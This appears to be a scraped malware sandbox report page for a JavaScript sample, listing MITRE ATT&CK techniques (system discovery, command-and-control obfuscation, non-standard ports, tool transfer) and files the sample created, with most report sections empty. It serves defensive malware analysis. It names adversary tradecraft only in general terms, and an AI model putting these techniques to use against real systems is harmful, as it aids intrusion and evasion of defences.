Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 12071652839003777.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\ba69b8e6-324f-4b5c-a065-16b27d069c13.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.5272

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Windows Analysis Report
12071652839003777.js